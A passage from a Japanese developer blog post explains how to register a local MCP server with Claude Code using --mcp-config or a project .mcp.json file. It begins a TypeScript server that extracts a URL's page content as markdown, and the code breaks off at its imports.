                                                                                  claude code 安くて便利。 自前 MCP を大量に持ってると、手元に用意しておいた MCP サーバーに繋ぎたくなります。 以下のドキュメントによると、 claude --mcp-config=... でローカルな MCP サーバーを叩けるみたいです。 以下、claude code に手元の MCP サーバーを登録する例です。 追記: .mcp.json プロジェクトルートの .mcp.json が自動で認識されます。 ~/.zshrc 用のエイリアスを削除 ローカル MCP につなぐ MCP サーバー実装を書きます。 これは指定した URL を本文抽出して markdown で取得する実装です。 // .claude/mcp-server.ts // npm add -D @modelcontextprotocol/sdk zod @mizchi/readability impo

                                                                                    claude code でローカルなMCPサーバーを叩けるようにする